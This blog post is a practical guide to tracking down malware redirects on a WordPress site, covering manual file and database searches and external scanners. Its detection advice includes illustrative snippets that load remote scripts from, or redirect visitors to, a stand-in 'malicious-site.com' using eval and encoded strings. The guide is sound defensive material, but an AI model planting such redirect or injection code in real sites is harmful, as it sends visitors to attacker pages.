Looking for malware redirects…the hard way.

A malware redirect is what happens when a piece of malware on the website redirects you to another site, rather than allowing you to progress through the desired site.

One of the most difficult situations to resolve on a WordPress site that’s been affected by malware is when the malware isn’t being detected by tools such as Wordfence or even server based anti-virus software. This isn’t to say that these tools are ineffective; there are a number of reasons why malware might not be detected. These include:

  • The malware is still ‘young’ and hasn’t yet found it’s way in to the libraries of malware signatures used by AV tools.
  • The malware is cloaking itself in such a way that it can’t be found by your security package.
  • The malware is smart enough to hide itself from such scans.

You may find that the first hint you have of a problem comes from a user of the site reporting problems such as being redirected to different websites. Or search engines such as Google start flagging the site as ‘Dangerous’. Or, as was the case in a site I had to deal with recently, my desktop anti-virus package (Free AVG for anyone interested) flagged up that there was something wrong with the site when I visited the front page.

To be blunt, the best solution by far – assuming you have a full, CLEAN, backup – is to delete the site and the database and restore the backup. However, this isn’t always possible, and if you can’t do this, then try the following steps.

Gathering Information

If you find yourself investigating a site that is experiencing these issues, then the first stage is information gathering. Determine the following:

  • Does the redirect happen to everyone?
  • Does the redirect affect mobile devices, desktop devices or everything?
  • If you do get a warning about the presence of malware, Google for any details. https://sitecheck.sucuri.net/ can be a useful tool here for finding things that are not immediately obvious!

If you’re investigating a WordPress plugin for malware redirects, there are specific PHP and JavaScript statements you should scrutinize. Malware typically uses obfuscated code, remote URL injections, or manipulations of WordPress hooks to inject malicious redirects.

Code can also be found injected in to database records; this can be particularly difficult to find.

Let’s take a look at ways to find such code:

Suspicious PHP Code

  1. base64_decode():
  • Used to decode base64-encoded strings, often used by attackers to hide malicious code.
   $malicious_code = base64_decode('...');
  1. eval():
  • Executes a string as PHP code. Common in malicious scripts to run obfuscated code.
   eval($malicious_code);
  1. preg_replace() with the /e modifier:
  • Can execute code within a regex replacement, often exploited for code injection.
   preg_replace('/pattern/e', 'malicious_code', $subject);
  1. file_get_contents() or fopen():
  • These functions are used to retrieve remote content. If used to fetch a script from a remote server, it could indicate an attempt to inject a redirect.
   $content = file_get_contents('http://malicious-site.com/script.php');
  1. wp_redirect() or header("Location: ..."):
  • These functions can be used to redirect users. While legitimate in many cases, they can be exploited to send users to malicious sites.
   wp_redirect('http://malicious-site.com');
  1. add_action() or add_filter() with unusual hooks:
  • Attackers may hook into WordPress actions or filters to inject redirects. Pay attention to hooks like init, wp_footer, or template_redirect.
   add_action('wp_footer', 'malicious_function');

Of course, there are valid uses for the above functions, especially in sites that are complex, and sorting out the wheat from the chaff can be difficult. But looking at the code around these functions can often give some insight.

JavaScript Code to Investigate

  1. document.location or window.location assignments:
  • These can be used to redirect users.
   document.location = "http://malicious-site.com";
  1. eval():
  • Similar to PHP, eval() in JavaScript executes code from a string and is often used in obfuscated or malicious scripts.
   eval('malicious_code');
  1. setTimeout() or setInterval() with eval() or redirect code:
  • Delays execution of malicious redirects.
   setTimeout(function() { window.location = "http://malicious-site.com"; }, 1000);
  1. script.src or document.write() injecting remote scripts:
  • These methods can dynamically load and execute external scripts.
   var script = document.createElement('script');
   script.src = "http://malicious-site.com/malicious.js";
   document.head.appendChild(script);
  1. Obfuscated or encoded strings:
  • Look for hex-encoded strings or functions that appear to be decoding content before execution.
   var decoded = decodeURIComponent('%6d%61%6c%69%63%69%6f%75%73%5f%63%6f%64%65');
   eval(decoded);

General Indicators

  • Unusual file modifications: Check for recently modified files, especially in plugin directories. This isn’t always as easy as it sounds, as smart malware will actually cloak date changes after updating the file.
  • Hidden iframe tags: Inserting hidden iframes that redirect users without their knowledge. This can be done in any of the files that output HTML to the screen – whether in a plugin or theme files. Such code can also hide in database records – such as the _posts, _postmeta, and _options tables.
  • Unknown domains: Hard-coded URLs pointing to unknown or suspicious domains.

Approach for Investigation

  1. Search the plugin and theme files for the above functions and patterns. The easiest way I have found to do this is to use a ‘programmer’s text-editor’ such as Programmer’s Notepad or Notepad++ that allows you to search the contents of files.
    A quick alternative to take here is to temporarily REMOVE – not just deactivate – all plugins, and gradually re-introduce them until the malware re-assets itself. This can be done most easily by renaming the existing plugin colder to ‘old_plugins’, and create a new plugins folder. Then copy files from the ‘old_plugins’ folder in to ‘plugins’ until problems recur. You can then remove the last plugin copied over, and repeat until all plugins have been tested. Then re-install the suspect ones from a fresh download.
    If you have access to all Plugins as Zip files or downloads NOT already on the server, and any license keys, etc. needed, it may be better to delete everything and re-install from cold if there aren’t too many plugins to consider.
    A similar approach can be taken for the Theme files.
  2. Review the files in the public_html folder. It’s a good idea to get an idea what a clean installation of WordPress looks like. Then look for any ‘odd’ folders that don’t belong there, or files that don’t appear to be part of WordPress.
  3. Search the database for URLs, JavaScript or even tags like <?php or <?. It’s not unusual to find URLs, but take a look at what they are. If you DO find URLs that look ‘odd’, don’t go to them in your browser – no point in doing the malware’s job yourself!
    The main tables to check are _posts, _postmeta, _usermeta and _options. In these tables, you need to be looking at any fields that can contain string values. Some fields always store data as straight text strings – like post_content, for example – whilst others will also include data that is in what’s called a ‘serialised’ format. Serialised data looks something like this:

    a:1:{i:0;s:23:”http://mycooldomain.com”;}

    If you do find some suspicious looking serialised data, then you might be tempted to simply delete it. This is not always a good idea! This data is structured in a particular manner and whilst you can occasionally get away with a ‘brute force and ignorance’ approach to removing such data, you can also break themes and plugins. Take a look here for further information about Serialised WordPress Data. You might also want to take a look at this plugin to help resolve issues with Serialised Data. https://wordpress.org/plugins/better-search-replace/
  4. Use security plugins like Wordfence to scan for known malware signatures OUTSIDE the WordPress installation. There is a setting in Wordfence to permit this, and it’s a good idea to use that setting. It’s also a good idea to use external tools, such as that offered by Sucuri, that scan the site from the outside, so to say. Take a look here: https://sitecheck.sucuri.net/ Sucuri will sometimes find malware that Wordfence and other malware plugins will miss, so it’s always worth trying.

I hope this short guide gives you help in dealing with these problems.

Share this on Social Media
Scroll to Top